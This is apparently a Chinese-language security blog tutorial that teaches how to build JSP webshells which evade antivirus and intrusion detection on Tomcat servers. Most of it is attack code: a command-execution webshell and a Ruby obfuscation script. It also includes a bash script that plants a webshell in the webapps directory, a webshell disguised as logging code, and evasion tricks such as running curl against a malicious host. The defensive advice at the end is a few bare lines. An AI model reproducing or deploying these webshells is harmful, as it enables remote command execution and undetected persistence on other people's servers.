一、一个真实案例:Webshell引发的风暴
某天,一家中型互联网公司的监控系统突然触发了流量异常告警:一台内部应用服务器正向外发送大量加密流量。安全团队迅速介入调查,发现服务器上存在一个名为 index.jsp 的文件,却没有出现在该应用的源代码库中。分析后确认,这是一枚经过高度混淆的 Webshell,攻击者通过此 Webshell 已获得该服务器的完全权限。
更糟糕的是,攻击者采用了精巧的免杀技术,绕过了主流的入侵检测系统 (IDS) 和杀毒软件。传统的特征匹配完全未能捕获该文件的恶意行为,导致攻击者得以在内部横向移动,进一步扩展了攻击面。
这起事件至关重要,因为它揭示了 免杀技术 在现代攻击链中的核心地位。本次文章将带你深入剖析 Webshell 免杀技术的细节,手把手教你如何实现一个具备免杀能力的 Webshell,并探讨如何在防御端检测这些攻击。
---
二、免杀的核心思路:从分析到实战
要理解 Webshell 的免杀技术,首先需要明白杀毒软件和检测系统的工作原理。大部分 Web 安全防护系统依赖于以下检测方式:
- 特征码匹配:对 Webshell 的特征字符串(如常见的
eval、base64_decode)进行静态检测。 - 行为分析:捕获 Webshell 的运行行为,如动态生成代码、文件操作或异常网络请求。
- 上下文检测:结合 Webshell 的实际运行环境对语义进行深度分析。
免杀的目标 是绕过这些检测手段。概括而言,主要有以下关键思路:
- 混淆代码:隐藏特征字符串,避免静态检测。
- 动态加载:通过运行时构造恶意功能,绕过行为分析。
- 多层伪装:将 Webshell 看似合规或合法。
- 利用白名单:通过合法的系统调用或第三方库伪装恶意代码。
接下来的实战环节,我们将逐一实现这些技术。
---
三、环境搭建及基础测试
在正式编写免杀 Webshell 之前,我们需要搭建一个测试环境。本次实验使用以下工具和技术:
- 目标服务器:CentOS 7,一台部署了 Tomcat 的虚拟机。
- 攻击机:Kali Linux,运行渗透工具如 Burp Suite 和 Ruby 脚本。
- 工具:主要使用 Ruby 和 Shell 编写混淆脚本。
环境部署步骤
- 安装 Tomcat
在 CentOS 7 上安装 Tomcat,并通过浏览器确认其正常运行: <pre><code class="language-bash"> sudo yum install tomcat -y sudo systemctl start tomcat sudo systemctl enable tomcat `
- 上传基础 Webshell
将以下简单的 JSP Webshell 上传至 Tomcat 的 webapps 目录,用于后续测试: `jsp <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream is = p.getInputStream(); DataInputStream dis = new DataInputStream(is); String line; while ((line = dis.readLine()) != null) { out.println(line); } %> ` 访问方式:http://<目标IP>:8080/shell.jsp?cmd=id
---

四、代码免杀:动态混淆与伪装

基础 Webshell 很容易被杀毒引擎检测,因此我们需要对其进行混淆和伪装。以下是几种常用的免杀技术。
方法 1:代码混淆
直接混淆 Webshell 中的关键函数和字符串,避免被静态特征匹配检测。
Ruby 实现代码混淆</code></pre>ruby
将 JSP Webshell 的部分代码动态生成
例如将 "Runtime.getRuntime().exec" 替换为动态拼接后的代码
original = 'Runtime.getRuntime().exec' obfuscated = original.chars.map { |c| "\"#{c}\"" }.join('+')
puts "混淆后的代码:" puts obfuscated <pre><code> 混淆后,代码修改如下:</code></pre>jsp <% String cmd = request.getParameter("cmd"); // 将关键函数动态拼接 String runtime = "Runtime"; String method = "getRuntime"; String exec = "exec";
Process p = (Process)Class.forName(runtime).getMethod(method).invoke(null).getClass().getMethod(exec).invoke(null, cmd); ... %> <pre><code> ---
方法 2:基于 Shell 的动态加载
通过脚本将恶意代码动态写入文件并加载。
Shell 实现代码动态加载</code></pre>bash
!/bin/bash
动态生成恶意 JSP 文件,让特征难以被静态检测
cat <<EOF > /var/lib/tomcat/webapps/shell.jsp <%@ page import="java.io.*" %> <% String c=request.getParameter("cmd"); Runtime.getRuntime().exec(c); %> EOF echo "恶意文件已生成" <pre><code> 这段代码通过 Shell 动态生成 JSP 文件,绕过静态特征检测。
---

方法 3:白名单伪装
将 Webshell 伪装成合法文件,如日志管理工具。 </code></pre>jsp <% // 模拟合法日志操作 String log = "User accessed log management."; System.out.println(log);
// 实际执行恶意命令 String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); %> `
通过加入正常的业务逻辑,使 Webshell 表现得像合法功能。
---
五、绕过行为检测的艺术
行为检测系统通常捕获 Webshell 的异常活动,比如命令执行或文件操作。以下是几种对抗手段:
- 分块执行命令:
将 cmd 命令拆分为多段运行,降低检测概率。例如: `jsp String cmd1 = "netstat"; String cmd2 = "-an"; Process p = Runtime.getRuntime().exec(cmd1 + " " + cmd2); `
- 利用合法工具:
调用合法的系统工具(如 curl、wget)代替内置命令执行。 `jsp String cmd = "curl http://malicious.site"; Process p = Runtime.getRuntime().exec(cmd); `
- 延时加载:
通过延时操作掩盖行为。例如: `jsp Thread.sleep(5000); // 延时 5 秒 Process p = Runtime.getRuntime().exec("id"); `
---
六、防御端的检测与建议
虽然攻击者可以采用各种免杀技术,但我们仍然可以通过以下方式提高检测能力:
- 动态行为分析:
- YARA 规则:
- WAF 加固:
- 文件完整性监控:
结合 Web 应用的访问日志和系统行为日志,识别异常模式。
编写针对混淆代码的高级特征规则。
配置严格的 WAF 规则,过滤可疑请求参数。
使用工具(如 Tripwire)监控关键目录的文件变化。
---
七、总结与个人心得
免杀技术是攻击者的核心武器,但其本质是对检测原理的利用与对抗。作为安全从业者,我们不仅需要掌握这些技术,还要站在攻防对抗的角度,以动态、灵活的方式应对。
在日常工作中,我建议每位安全工程师都能掌握基础的代码混淆与检测规则编写能力,只有知己知彼,才能百战不殆。